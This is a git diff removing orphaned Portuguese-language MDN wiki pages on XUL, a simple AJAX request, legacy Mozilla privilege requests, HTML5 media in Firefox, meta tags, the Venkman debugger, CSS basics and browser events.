Quando lendo conteúdo XUL de um site remoto, você deve configurar seu servidor web para enviar arquivos XUL com o tipo de conteúdo 'application/vnd.mozilla.xul+xml'.

- -

O que preciso saber para usar este tutorial?

- -

Você precisa ter um conhecimento de HTML e um mínimo de conhecimento básico de XML e CSS. Aqui estão algumas normas para manter em mente:

- -
    -
  • Todos os elementos e atributos XUL precisam ser escritos em caixa baixa (todos minúsculos), visto que XML é sensível à caixa (diferente de HTML).
  • -
  • Valores de atributo em XML devem ser colocados entre aspas, mesmo que sejam números.
  • -
  • Arquivos XUL são usualmente divididos em quatro arquivos, um deles para esboço e elementos, para declarações de estilo, para declarações de entidade (usadas para localização) e para scripts. Adicionalmente, você pode ter arquivos extra para imagens ou para dados específicos da plataforma.
  • -
- -

XUL é suportado no Mozilla e em navegadores baseados nele, tais como o Netscape 6 ou posterior e Mozilla Firefox. Devido a várias mudanças na sintaxe XUL através do tempo, você deverá pegar a última versão para os exemplos funcionarem corretamente.

diff --git a/files/pt-pt/orphaned/um_pequeno_exemplo_usando_ajax/index.html b/files/pt-pt/orphaned/um_pequeno_exemplo_usando_ajax/index.html deleted file mode 100644 index 95614259ae..0000000000 --- a/files/pt-pt/orphaned/um_pequeno_exemplo_usando_ajax/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Um pequeno exemplo usando AJAX -slug: orphaned/Um_pequeno_exemplo_usando_AJAX -tags: - - AJAX - - AJAX:Exemplos - - Todas_as_Categorias -original_slug: Um_pequeno_exemplo_usando_AJAX ---- -

-

Exemplo de uma simples requisição usando XmlHttpRequest, que retorna o -conteúdo de uma página do mesmo domínio. -

-
// Esta função será chamada pelo componente XmlHttpRequest
-function processReqChange ()
-{
-   var s = 'Status: \t' + request.status + '\n';
-   s += 'StatusText: \t' + request.statusText + '\n';
-   s += 'ResponseText: \t' + request.responseText;
-   // codigo 4 para 'status complete'
-   if (request.readyState == 4 && request.status == 200)
-       alert(s);
-}
-// Se o endereco que se deseja acessar assincronamente
-// for um script, ele poderá receber parâmetros,
-// e uma forma simples de enviar parâmetros é pela própria url
-// var url = 'meu_script.php?var1=par1'
-// Se você tentar acessar uma página de outro domínio (e.g: http://mozilla.org)
-// o firefox vai levantar uma exeção, "Permission denied".
-var url = 'index.html';
-var request = new XMLHttpRequest();
-request.onreadystatechange = processReqChange;
-request.open("GET", url, true);
-request.send("");
-
diff --git "a/files/pt-pt/orphaned/usando_privil\303\251gios_expandidos_em_navegadores_mozilla/index.html" "b/files/pt-pt/orphaned/usando_privil\303\251gios_expandidos_em_navegadores_mozilla/index.html" deleted file mode 100644 index 4ea6bc12ed..0000000000 --- "a/files/pt-pt/orphaned/usando_privil\303\251gios_expandidos_em_navegadores_mozilla/index.html" +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: Usando privilégios expandidos em navegadores Mozilla -slug: orphaned/Usando_privilégios_expandidos_em_navegadores_Mozilla -tags: - - JavaScript - - Todas_as_Categorias -original_slug: Usando_privilégios_expandidos_em_navegadores_Mozilla ---- -

Navegadores Mozilla dispõem de funções para segurança em Javascript similares às usadas para segurança em Java e Javascript no Netscape Communicator 4.x. -

Em casos mais simples, o código pede permissão para habilitar o privilégio que possibilita o acesso ao alvo através de scripts. Por exemplo: -

-
netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead");
-
-//ou:
-
-netscape.security.PrivilegeManager.enablePrivilege("UniversalPreferencesRead UniversalFileRead");
-
-

Quando este método é invocado, se a assinatura for válida (caso seja um script assinado) ou codebase principal esteja habilitado, os privilégios expandidos são concedidos. Caso o acesso não seja por meio de uma destas formas, por exemplo, utilizando um arquivo local através da url file://, será exibida uma caixa de diálogo perguntando se o usuário permite que o script use estes privilégios e também se deseja memorizar esta decisão. Note que no segundo exemplo o script solicita dois privilégios, porém exibe apenas uma caixa de diálogo descrevendo-os. -

Os privilégios são concedidos apenas no escopo da função que os solicitou. Este escopo inclui as funções chamadas por esta função. Quando a função termina, os privilégios não são mais aplicáveis. -

-

Exemplo

-

A função b solicita privilégios expandidos, e somente comandos e funções chamados no escopo da mesma após a solicitação têm privilégios concedidos. É uma boa prática habilitar privilégios somente quando necessário, e após o uso desabilitá-los. Isso ajuda a proteger o computador do usuário de seções perigosas no código. -

-
function mostraPrivilegios(i) {
-  try{
-    if (history[0] != "") {
-	  document.write(i + ": habilitado<br>");
-	}
-  } catch (e) {
-    document.write(i + ": desabilitado<br>");
-  }
-}
-
-function a() {
-  mostraPrivilegios(5);
-}
-
-function b() {
-  mostraPrivilegios(3);
-  netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead");
-  mostraPrivilegios(4);
-  a();
-  mostraPrivilegios(6);
-}
-
-function c() {
-  mostraPrivilegios(2);
-  b();
-  mostraPrivilegios(7);
-}
-
-mostraPrivilegios(1);
-c();
-mostraPrivilegios(8);
-
-

Este exemplo exibe o seguinte resultado: -

-
1: desabilitado
-2: desabilitado
-3: desabilitado
-4: habilitado
-5: habilitado
-6: habilitado
-7: desabilitado
-8: desabilitado
-
-

Privilégios

-
UniversalBrowserRead -
Leitura de dados sensíveis do browser. Isto permite que o certificado passe a verificação da mesma origem ao ler de qualquer documento. -
-
UniversalBrowserWrite -
Modificação de dados sensíveis do browser. Isto permite que o certificado passe a verificação da mesma origem ao escrever em qualquer documento. -
-
UniversalXPConnect -
Acesso irrestrito às APIs do browser usando XPConnect. -
-
UniversalPreferencesRead -
Ler preferências usando o método navigator.preference. -
-
UniversalPreferencesWrite -
Ajustar preferências usando o método navigator.preference. -
-
CapabilityPreferencesAccess -
Ler e ajustar as preferências que definem políticas de segurança, incluindo que privilégios foram concedidos e negados aos scripts. Você também necessita de UniversalPreferencesRead e UniversalPreferencesWrite. -
-
UniversalFileRead -
Uso do método window.open com URLs file:// e permite que o browser faça upload de arquivos usando <input type="file">. -
-

Nota: Este artigo, bem como seu exemplo, foi baseado no artigo Signed Scripts in Mozilla, porém, conta com atualizações para conformidade no uso de navegadores atuais. -

-
-

Informações Sobre o Documento Original

- -
-

Categorias -

Interwiki Language Links -

diff --git "a/files/pt-pt/orphaned/usando_\303\241udio_e_v\303\255deo_no_firefox/index.html" "b/files/pt-pt/orphaned/usando_\303\241udio_e_v\303\255deo_no_firefox/index.html" deleted file mode 100644 index 7f8f2af85d..0000000000 --- "a/files/pt-pt/orphaned/usando_\303\241udio_e_v\303\255deo_no_firefox/index.html" +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Usando_áudio_e_vídeo_no_Firefox -slug: orphaned/Usando_áudio_e_vídeo_no_Firefox -original_slug: Usando_áudio_e_vídeo_no_Firefox ---- -

{{ gecko_minversion_header("1.9.1") }}

-

O Firefox 3.5 introduz suporte para os elementos audio e video do HTML 5, oferecendo a capacidade de facilmente embutir mídia em documentos HTML. Atualmente são suportados os formatos de mídia Ogg Theora, Ogg Vorbis e WAV.

-

Embutindo mídia

-

Embutir mídia no seu documento HTML é simples:

-
<video src="http://v2v.cc/~j/theora_testsuite/320x240.ogg" autoplay>
-  Your browser does not support the <code>video</code> element.
-</video>
-
-

Este exemplo roda um video de amostra do web site Theora, por exemplo.

-

Múltiplos arquivos fonte podem ser especificados usando o elemento source (en) a fim de proporcionar vídeo/áudio codificados em diferentes formatos para diferentes navegadores. Por exemplo:

-
<video controls>
-  <source src="foo.ogg" type="video/ogg">
-  <source src="foo.mp4">
-  Your browser does not support the <code>video</code> element.
-</video>
-
-

tocará um arquivo Ogg em navegadores que suportem o formato Ogg. Se o navegador não suportar Ogg, ele tentará usar o arquivo MPEG-4.

-

Você pode também especificar quais codecs de mídia o arquivo requere; isto permite ao navegador, tomar decisões cada vez mais inteligentes:

-
<video controls>
-  <source src="foo.ogg" type="video/ogg; codecs=&quot;dirac, speex&quot;">
-  Your browser does not support the <code>video</code> element.
-</video>
-

Aqui nós especificamos que o vídeo usa os codecs Dirac e Speex. Se o navegador suportar Ogg, mas não os codecs especificados, o vídeo não será carregado.

-

Se o atributo type não for especificado, o tipo da mídia é obtido pelo servidor e checado para ver se o Gecko pode lidar com ele; se ele não puder ser renderizado, a próxima fonte é checada. Se nenhum dos elementos source especificados puder ser usado, um evento error é expedido para o elemento video. Se o atributo type é especificado, ele é comparado com os tipos que o Gecko pode tocar, e se não for reconhecido, o servidor não é nem mesmo requisitado; ao invés disso, a próxima fonte é checada uma vez.

-

Controlando a reprodução de mídia

-

Uma vez que você tenha adicionado mídia no seu documento HTML, usando os novos elementos, você pode controlá-la programaticamente através do seu código JavaScript. Por exemplo, para começar (ou recomeçar) uma reprodução, você pode fazer isto:

-
var v = document.getElementsByTagName("video")[0];
-v.play();
-
-

A primeira linha busca o elemento video no documento e a segundo chama o método play() do elemento, como definido na interface {{ interface("nsIDOMHTMLMediaElement") }} que é usada para implementar elementos de mídia.

-

Eventos de mídia

-

Diversos eventos são enviados durante o manuseio de mídia:

- -
Nome do evento Descrição
abort Enviado quando a reprodução é abortada; por exemplo, se a mídia estiver tocando e for reiniciada, este evento é enviado.
canplay Enviado quando há dados suficientes disponíveis para que a mídia seja tocada, ao menos por alguns quadros. Corresponde ao CAN_PLAY readyState.
canplaythrough Enviado quando o estado pronto muda para CAN_PLAY_THROUGH, indicando que a mídia inteira pode ser tocada sem interrupção, assumindo que a taxa de download permaneça ao menos no nível atual.
canshowcurrentframe O quadro atual carregou e pode ser apresentado. Isto corresponde ao CAN_SHOW_CURRENT_FRAME readyState.
dataunavailable Enviado quando o estado pronto muda para DATA_UNAVAILABLE.
durationchange Os metadados foram carregados ou modificados, indicando uma mudança na duração da mídia. Isto é enviado, por exemplo, quando a mídia carregou o suficiente para se saber a sua duração.
emptied A mídia torna-se vazia; por exemplo, este evento é enviado se a mídia já foi carregada (ou parcialmente carregada), e o método load() é chamado para recarregar isto.
empty Enviado quando um erro ocorre e a mídia está vazia.
ended Enviado quando a reprodução termina.
error Enviado quando um erro ocorre. O atributo error do elemento contém mais informações.
load A mídia foi completamente obtida.
loadedfirstframe O primeiro quadro de mídia terminou de carregar.
loadedmetadata Os metadados da mídia terminaram seu carregamento; todos os atributos agora contém toda a informação que poderiam ter.
loadstart Enviado quando o carregamento da mídia inicia.
pause Enviado quando a reprodução é pausada.
play Enviado quando a reprodução começa ou continua.
ratechange Enviado quando a velocidade da reprodução muda.
seeked Enviado quando uma operação solicitada se completa.
seeking Enviado quando uma operação solicitada começa.
timeupdate O tempo indicado pelo atributo currentTime do elemento mudou.
volumechange Enviado quando o volume do áudio muda (tanto quando o volume é configurado, quando o atributo muted é mudado).
waiting Enviado quando a operação requisitada (como a reprodução) é adiada até que se complete outra operação (como uma solicitação).
-

Você pode facilmente assistir a estes eventos usando o seguinte código:

-
var v = document.getElementsByTagName("video")[0];
-
-v.addEventListener("seeked", function() { document.getElementsByTagName("video")[0].play(); }, true);
-v.currentTime = 10.0;
-
-

Este exemplo busca o primeiro elemento video no documento e anexa um evento listener a ele, olhando para o evento solicitado, que é enviado sempre que uma operação solicitada é completada. O listener simplesmente pede ao método play() do elemento, que inicia a reprodução.

-

Então, na linha 4, o exemplo configura o atributo currentTime do elemento para 10.0, o que inicia uma operação de solicitação até a marca de 10 segundos na mídia. Isto causa o envio de um evento seeking quando a operação começa, então um evento seeked é expedido quando a solicitação é completada.

-

Em outras palavras, este exemplo solicita até os 10 segundos da marca na mídia, e então começa a reprodução assim que a solicitação é finalizada.

-

Opções de fallback

-

O código HTML incluído entre, por exemplo, as tagas <video> e </video> é processado por navegadores que não suportam o elemento media do HTML 5. Você pode tirar vantagem deste fato para proporcionar um fallback de mídia alternativa para estes navegadores.

-

Esta seção proporciona duas possíveis opções de fallback para vídeo. Em cada caso, se o navegador suportar o elemento video do HTML 5, este será usado; caso contrário, a opção fallback será usada.

-

Usando Flash

-

Você pode usar o Flash para tocar um filme em formato Flash se o elemento video não for suportado:

-
<video src="video.ogv" controls>
-    <object data="flvplayer.swf" type="application/x-shockwave-flash">
-      <param value="flvplayer.swf" name="movie"/>
-    </object>
-</video>
-
-

Note que você não inclui class ou id na tag object para que seja compatível com outros navegadores além do Internet Explorer.

-

Tocando vídeos Ogg usando um miniaplicativo Java

-

Aqui está um miniaplicativo Java chamado Cortado que você pode usar como fallback para tocar vídeos Ogg em navegadores que tenham suporte a Java, mas não ao elemento video do HTML 5:

-
<video src="my_ogg_video.ogg" controls width="320" height="240">
-  <object type="application/x-java-applet"
-          width="320" height="240">
-     <param name="archive" value="cortado.jar">
-     <param name="code" value="com.fluendo.player.Cortado.class">
-     <param name="url" value="my_ogg_video.ogg">
-  </object>
-</video>
-
-

Veja também

- -

 {{ languages( { "en": "en/Using audio and video in Firefox", "fr": "fr/Utilisation_d'audio_et_video_dans_Firefox", "es": "es/Etiquetas audio y video en Firefox" } ) }}

diff --git a/files/pt-pt/orphaned/utilizando_meta_tags/index.html b/files/pt-pt/orphaned/utilizando_meta_tags/index.html deleted file mode 100644 index 9b44cc92dd..0000000000 --- a/files/pt-pt/orphaned/utilizando_meta_tags/index.html +++ /dev/null @@ -1,378 +0,0 @@ ---- -title: Utilizando meta tags -slug: orphaned/Utilizando_meta_tags -tags: - - HTML - - Todas_as_Categorias -original_slug: Utilizando_meta_tags ---- -

 

- -

Meta dados incorporados ao código XHTML são, na verdade, estruturas de dados sobre os próprios dados, uma breve descrição do conteúdo da página, seu autor, data de criação, linguagem e outras informações relevantes.

- -

Alguns sistemas de busca dão aos conteúdos das meta tags uma forte ênfase no ranking dos sites, a maioria deles indexa os dados das meta tags description e keywords como sumários da página.

- -

Se estas tags forem usadas correta e racionalmente elas podem aumentar a relevância nos resultados de busca o que é vantajoso tanto para o proprietário do site quanto para seu usuário.

- -

Prós e Contras

- -

Como qualquer ferramenta, a utilização das meta tags tem seus prós e contras, vale ressaltar que o uso consciente de suas potencialidades pode praticamente anular seu lado negativo. Seguem algumas dicas:

- -

Mantenha as meta tags simples e concisas: Descrições muito longas e palavras-chave em excesso serão ignoradas por alguns buscadores, inclusive, alguns deles indexam apenas as seis primeiras keywords. Sistemas de indexação podem também identificar o chamado "metatag spamming", onde as palavras-chave são repetidas várias vezes, penalizando, assim, o site em seu ranking.

- -

Dê prioridade às palavras-chave mais importantes: Uma vez que alguns sistemas de indexação lêem somente algumas das keywords é importante listar as mais importantes primeiro.

- -

Evite o uso da meta tag REFRESH para redirecionamento: Antigamente muito usada, hoje deve ser evitada, primeiramente porque ela tende a confundir os bancos de dados dos sistemas de indexação e depois porque confundem também ao usuário, especialmente os que porventura estejam navegando com leitores de tela.

- -

Não abuse das meta tags: Meta tags fornecem informações usadas para categorizar, priorizar e rankear websites além de controlar seu conteúdo pelos webmasters e/ou autores, mas este privilégio não deve ser abusado. Como dito anteriormente muitos sistemas de indexação são "inteligentes" o suficientes para perceber quando há este tipo de abuso, penalizando o site em sua colocação no ranking.

- -

Para o Google, elas não existem! Devido à grande quatidade de "metatag spamming" o robô de busca do Google foi programado para ignorá-las! Ele indexa parte do conteúdo da própria página em seu banco de dados ao invés da "description".

- -

Tipos de meta tags

- -

HTTP-EQUIV

- -

Meta tags com o atributto HTTP-Equiv são equivalentes aos cabeçalhos http. Normalmente elas controlam as ações dos browsers e podem ser usadas para melhor especificar as informações.

- -

Tags usadas desta forma têm um efeito equivalente quando sendo usadas como um cabeçalho HTTP.

- -

Nota: Enquanto este tipo de meta tags funciona normalmente no Netscape, outros browsers podem ignorá-las. Elas também são ignoradas por servidores proxy, que vêm se tornando muito comuns. É mais recomendável usar o cabeçalho HTTP equivalente, como, por exemplo, do Apache.

- -

Os cabeçalhos HTTP são definidos em

- -

HTTP 1.0 e HTTP 1.1

- -

Estes cabeçalhos podem ser gerados por scripts CGI e no Apache usando um arquivo contendo meta dados.

- -

Name

- -

Meta tags com o atributo "name" são usadas para tipos que não correspondem a cabeçalhos HTTP. Muitas vezes esta distinção é ignorada. Por exemplo, alguns buscadores reconhecem a meta tag "Keywords" com o tipo "http-equiv", outros com o tipo "name".

- -

Dublin Core

- -

Com o objetivo de melhorar a indexação das páginas pelos motores de busca, muitos grupos de desenvolvedores acabam criando sua própria "liguagem de metatags", a mais popular delas pertence ao projeto Dublin Core iniciado em 1995 buscando, segundo organizadores, mais flexibilidade para os autores.

- -

Site oficial do projeto: http://www.dublincore.org

- -

Lista de Metatags, atributos e especificações

- -

Apesar de todo o alvoroço existente em torno dos meta dados, muitas pessoas ainda não tem um conhecimento adequado da maioria dos recursos que estas ferramentas proporcionam, abaixo segue uma lista das principais meta tags, seus valores e funcionalidades.

- -

Nota: As palavras-chave "http-equiv", "name" e "content" são case-insensitive, assim como seus valores, mas segundo as especificações do XHTML, todo o código deve ser em letras minúsculas.

- -

Author

- -

O nome do autor da página.

- -
<meta name="author" content="André" />
-
- -

Cache-Control

- -

Esta tag é apenas reconhecida pelo http 1.1 e permite os seguintes valores:

- -
    -
  • Public: Os dados da página podem ser armazenados de forma compartilhada, isto é, será utilizado por diferentes usuários de um mesmo browser (Notar que só é possível especificar usuários de browser no Firefox e Opera).
  • -
- -
    -
  • Private: É o contrário de public, o cache é armazenado para um específico usuário.
  • -
- -
    -
  • No-Cache: A página não é armazenada em Cache.
  • -
- -
    -
  • No-Store: É feito um cache temporário, a página não é arquivada.
  • -
- -

Nota: A diretiva "cache-control:no-cache" tem a mesma função de "pragma:no-cache". O ideal quando se usa essa instrução é utilizar ambas as formas caso não se saiba se o servidor é ou não compatível com o HTTP 1.1.

- -
<meta http-equiv="cache-control"   content="no-cache" />
-
- -

Content-language

- -

Declara a(s) linguagem(ns) natural(is) do documento. Pode ser usada pelos motores de busca para categorizar por idioma.

- -
<meta http-equiv="content-language" content="pt-br, en-US, fr" />
-
- -
    -
  • Content-type: Define o tipo de conteúdo da página e o tipo de codificação de caracteres. Pode-se dizer que é a meta tag mais importante, sempre deve ser usada.
  • -
- -
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
-
- - - -

Como o nome já diz declara o direito autoral da página.

- -
<meta name="copyright" content="© 2004 tex   texin" />
-
- -

Description

- -

Contém uma descrição da página

- -
<meta name="description" content="...resumo da página..." />
-
- -

Expires

- -

A data e a hora depois dos quais o documento deve ser considerado como expirado. Uma data ilegal como, por exemplo "0" é considerada como "agora".

- -

Configurar "Expires" como "0" pode também ser usado para forçar uma nova checagem a cada visita do robô de busca.

- -

Nota: Alguns robôs de busca podem deletar um documento de seu banco de dados ao encontrá-lo expirado, outros podem marcar uma revisita

- -
<meta http-equiv="expires" content = "Mon, 22 jul 2006 11:12:01 GMT" />
-
- -

Keywords

- -

As keywords tipicamente são usadas por alguns motores de busca para indexar os documentos juntamente com informações encontradas em seu título e body.

- -

As frases ou palavras devem ser separadas por vírgulas.

- -
<meta name="keywords" content="..palavras-chave do documento" />
-
- -

Pragma no-cache

- -

Faz com que o navegador não armazene a página em cache. Diferencia-se de "cache-control:no-cache" pelo fato de ser reconhecida por todas as versões do HTTP.

- -
<meta http-equiv="pragma" content="no-cache" />
-
- -

Refresh

- -

Especifica um tempo em segundos para o browser atualizar a página, opcionalmente pode-se adicionar uma URL para a qual será redirecionado.

- -
<meta http-equiv="refresh" content="15;url=http://www.thechessman.org" />
-
- -

Robots

- -

Especifica informações de indexação para os robôs de busca, suporta os seguintes valores:

- -
    -
  • All: Valor default, significa vazio, o robô de busca não recebe nenhuma informação.
  • -
- -
    -
  • Index: Os robôs de busca podem incluir a página normalmente.
  • -
- -
    -
  • Follow: Robôs podem indexar a página e ainda seguir os links para outras páginas que ela contém.
  • -
- -
    -
  • NoIndex:Os links podem ser seguidos, mas a página não é indexada.
  • -
- -
    -
  • NoFollow: A página é indexada, mas os links não são seguidos.
  • -
- -
    -
  • None: Os robôs podem ignorar a página.
  • -
- -
    -
  • NoArchive (Apenas Google): A página não é arquivada.
  • -
- -
<meta name="robots" content="all" />
-
- -

GoogleBoot

- -

 

- -

Em adição com a meta tag "Robots", o Google suporta um commando "GoogleBoot". Dizendo ao google que não quer que a página seja indexada.

- -

Nota: A página continuará a ser indexada pelos outros buscadores

- -
<meta name="googlebot" content="NoIndex" />
-
- -

 

- -

Imagetoolbar

- -

No internet explorer elimina aquela pequena barra de opções que aparece ao passarmos o mouse por cima de uma imagem

- -
<meta http-equiv="imagetoolbar" content="no" />
-
- -

Generator

- -

Indica o software usado para criar a página como forma de medir a popularidade do produto.

- -
<meta name="generator" content="Dreamweaver 8" />
-
- -

Revisit-After

- -

Diz para os servidores proxy refazer o cache da página depois de um tempo específico.

- -

Esta meta tag não faz com que os motores de busca voltem para sua página, eles fazem isso em períodos aleatórios.

- -
<meta name="revisit-after" content="15 days" />
-
- -

Rating

- -

Esta tag funciona para classificar a página por censura, assim como no cinema, suporta os valores:

- -
    -
  • General: Para qualquer idade
  • -
- -
    -
  • 14 years: Censura 14 anos
  • -
- -
    -
  • Mature: Para pessoas acima de 18 anos
  • -
- -
<meta name="rating" content="general" />
-
- -

Content-Script-Type

- -

Define o tipo padrão da linguagem de script do documento.

- -
<meta http-equiv="content-script-type" content="text/javascript" />
-
- -

Content-Style-Type

- -

Define o tipo padrão de linguagem para estilização do documento.

- -
<meta http-equiv="content-style-type" content="text/css" />
-
- -

DC.title

- -

Desempenha a mesma função da tag "title", e deve conter o mesmo valor.

- -
<meta name="DC.title" content="Mr.TheChessMan - Impressões Ideológicas" />
-
- -

DC.Creator

- -

Tem o mesmo papel da meta tag "Author"

- -
<meta name="DC.creator " content="Gazola, André" />
-
- -

DC.Creator.adress

- -

E-mail para contato com o autor da página.

- -
<meta name="DC.creator.address" content=mr.thechessman@gmail.com" />
-
- -

DC.Suject

- -

Tem a mesma função da meta "Keywords".

- -
<meta name="DC.subject" content="metadata, metatags, dublin core,web design" />
-
- -

DC.Description

- -

Tem a mesma função da meta "Description".

- -
<meta name="DC.description" content="..aqui vai a descrição da página.." />
-
- -

DC.Publisher

- -

Nome da organização que é responsável pelo documento.

- -
<meta name="DC.publisher" content="Info Web Design" />
-
- -

DC.Custodian

- -

Normalmente, o webmaster responsável pela página.

- -
<meta name="Custodian" content="Gazola, André" />
-
- -

DC.Date.Created

- -

Data de criação da página no formato AAAA-MM-DD.

- -
<meta name="DC.date.created" content="2006-02-01" />
-
- -

DC.Date.Modified

- -

Última data de modificação do documento, importante para buscas por data.

- -
<meta name="DC.date.modified" content="2006-02-01" />
-
- -

DC.Identifier

- -

URL do documento.

- -
<meta name="DC.Identifier" content="http://www.thechessman.org">
-
- -

DC.Format

- -

Especifica o tipo de dados contidos no documento.

- -
    -
  • Text/html;
  • -
- -
    -
  • Text/xml;
  • -
- -
    -
  • Text/html;
  • -
- -
    -
  • Image/jpg;
  • -
- -
    -
  • Image/gif;
  • -
- -
    -
  • Video/quicktime;
  • -
- -
<meta name="DC.format" content="text/xhtml" />
-
- -

DC.Type

- -

Text, Home Page, menu, image, vídeo, dados, software ou sound são alguns dos valores suportados.

- -
<meta name="DC.type" content="text.homepage.institucional" />
-
- -
-

Informações Sobre o Documento Original

- - -
diff --git a/files/pt-pt/orphaned/venkman/index.html b/files/pt-pt/orphaned/venkman/index.html deleted file mode 100644 index adb530d1a3..0000000000 --- a/files/pt-pt/orphaned/venkman/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Venkman -slug: orphaned/Venkman -tags: - - Desenvolvimento_Web - - Desenvolvimento_Web:Ferramentas - - Extensões:Ferramentas - - Ferramentas - - JavaScript - - JavaScript:Ferramentas - - Todas_as_Categorias - - Venkman -original_slug: Venkman ---- -

 

- -

Venkman é um depurar JavaScript baseado no Mozilla.

- -

Artigos no MDC sobre Venkman

- - - - - -

Iniciação no Venkman

- -
    -
  • Mozilla Suite e SeaMonkey: Venkman é uma opção de instalação (escolha Instalação Avançada).
  • -
  • Mozilla Suite, SeaMonkey, Firefox e Thunderbird: a última versão do Venkman está disponível em Mozilla Addons (Complementos Mozilla).
  • -
  • Nvu versão está disponível em glazman.org.
  • -
- -

Recursos

- -

Siga os seguintes links para mais informações sobre o Venkman:

- - - - - -

Categorias

- -

Interwiki Language Links

diff --git "a/files/pt-pt/orphaned/web/css/como_come\303\247ar/o_que_\303\251_css_question_/index.html" "b/files/pt-pt/orphaned/web/css/como_come\303\247ar/o_que_\303\251_css_question_/index.html" deleted file mode 100644 index b3726fdd62..0000000000 --- "a/files/pt-pt/orphaned/web/css/como_come\303\247ar/o_que_\303\251_css_question_/index.html" +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: O que é CSS? -slug: orphaned/Web/CSS/Como_começar/O_que_é_CSS? -tags: - - CSS:Como_começar -original_slug: Web/CSS/Como_começar/O_que_é_CSS? ---- -

-

This page explains what CSS is. -You create a simple document that you will work with on the following pages. -

-

Information: What is CSS?

-

CSS is a language for specifying how documents are presented to users. -

A document is a collection of information that is structured using a markup language. -

- - -
Examples -
-
  • A web page like this one is a document.
    The information that you see in a web page is usually structured using the markup language HTML (HyperText Markup Language). -
-
  • A dialog in a Mozilla application is a document.
    The user interface controls that you see in a Mozilla dialog are structured using the markup language XUL (XML User-interface Language). -
-
-

In this tutorial, boxes captioned More details like the one below contain optional information. -If you are in a hurry to progress with the tutorial then you could skip these boxes, perhaps returning to read them later. Otherwise read them when you come to them, and perhaps follow the links to learn more. -

- - -
More details -
-

A document is not the same as a file. It might or might not be stored in a file. -

For example, the document that you are reading now is not stored in a file. When your web browser requests this page, the server queries a database and generates the document, gathering parts of the document from many files. However, in this tutorial you will work with documents that are stored in files. -

For more information about documents and markup languages, see other parts of this web site—for example: -

- - - - - - - - -
HTMLfor web pages -
XMLfor structured documents in general -
SVGfor graphics -
XULfor user interfaces in Mozilla -
-

In Part II of this tutorial you will see examples of these markup languages. -

-
-

Presenting a document to a user means converting it into a form that humans can make use of. Mozilla is designed to present documents visually—for example, on a computer screen, projector or printer. -

- - -
More details -
CSS is not just for browsers, and not just for visual presentation. In formal CSS terminology, the program that presents a document to a user is called a user agent (UA). A browser is just one kind of UA. However, in Part I of this tutorial you will only work with CSS in a browser. -

For some formal definitions of terminology relating to CSS, see Definitions in the CSS Specification. -

-
-

Action: Creating a document

-

Use your computer to create a new directory and a new text file there. -The file will contain your document. -

Copy and paste the HTML shown below. Save the file using the name doc1.html -

-
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0//EN">
-<html>
-  <head>
-  <title>Sample document</title>
-  </head>
-
-  <body>
-    <p>
-      <strong>C</strong>ascading
-      <strong>S</strong>tyle
-      <strong>S</strong>heets
-    </p>
-  </body>
-</html>
-
-

In your browser, open a new tab or a new window, and open the file there. -

You should see the text with the initial letters bold, like this: -

- - -
Cascading Style Sheets -
-

What you see in your browser might not look exactly the same as this, because of settings in your browser and in this wiki. If there are some differences in the font, spacing and colors that you see, they are not important. -

-

What next?

-

If you had difficulty understanding this page, or if you have other comments about it, please contribute to its Discussion page. -

Your document does not yet use CSS. -On the next page you use CSS to specify its style: -Why use CSS? -

{{ languages( { "en": "en/CSS/Getting_Started/What_is_CSS", "fr": "fr/CSS/Premiers_pas/Pr\u00e9sentation_des_CSS", "it": "it/Conoscere_i_CSS/Che_cosa_sono_i_CSS", "ja": "ja/CSS/Getting_Started/What_is_CSS", "pl": "pl/CSS/Na_pocz\u0105tek/Czym_jest_CSS", "zh-cn": "cn/CSS/Getting_Started/What_is_CSS" } ) }} diff --git a/files/pt-pt/orphaned/web/guide/events/index.html b/files/pt-pt/orphaned/web/guide/events/index.html deleted file mode 100644 index f8f218d1c1..0000000000 --- a/files/pt-pt/orphaned/web/guide/events/index.html +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: Guia do programador de eventos -slug: orphaned/Web/Guide/Events -tags: - - DOM - - Evento - - Guía - - Precisa de Atualização -translation_of: Web/Guide/Events -original_slug: Web/Guide/Events ---- -

{{draft()}}

- -

Events refers both to a design pattern used for the asynchronous handling of various incidents which occur in the lifetime of a web page and to the naming, characterization, and use of a large number of incidents of different types.

- -

The overview page provides an introduction to the design pattern and a summary of the types of incidents which are defined and reacted to by modern web browsers.

- -

The custom events page describes how the event code design pattern can be used in custom code to define new event types emitted by user objects, register listener functions to handle those events, and trigger the events in user code.

- -

The remaining pages describe how to use events of different kinds defined by web browsers. Unfortunately, these events have been defined piece by piece as web browsers have evolved so that there is no satisfying systematic characterization of the events built-in or defined by modern web browsers.

- -

The device on which the web browser is running can trigger events, for example due to a change in its position and orientation in the real world, as discussed partially by the page on orientation coordinate systems and the page on the use of 3D transforms. That is different, but similar, to the change in device vertical orientation. 

- -

The window in which the browser is displayed can trigger events; for example, change size if the user maximizes the window or otherwise changes it.

- -

The process loading of a web page can trigger events in response to the completion of different steps in the downloading, parsing, and rendering of the web page for display to the user.

- -

The user interaction with the web page contents can trigger events. The events triggered by user interaction evolved during the early years of browser design and include a complicated system defining the sequence in which events will be called and the manner in which that sequence can be controlled. The different types of user interaction-driven events include:

- - - -

The modification of the web page in structure or content might trigger some events, as explained in the mutation events page, but the use of these events has been deprecated in favour of the lighter Mutation Observer approach.

- -

The media streams embedded in the HTML documents might trigger some events, as explained in the media events page.

- -

The network requests made by a web page might trigger some events.

- -

There are many other sources of events defined by web browsers for which pages are not yet available in this guide.

- -
-

Note: This Event Developer Guide needs substantial work. The structure needs to be reorganized and the pages rewritten. Our hope is that everything you need to know about events will go under here.

-
- -

Documentos

- -

{{LandingPageListSubpages}}

- -
- - - - - -
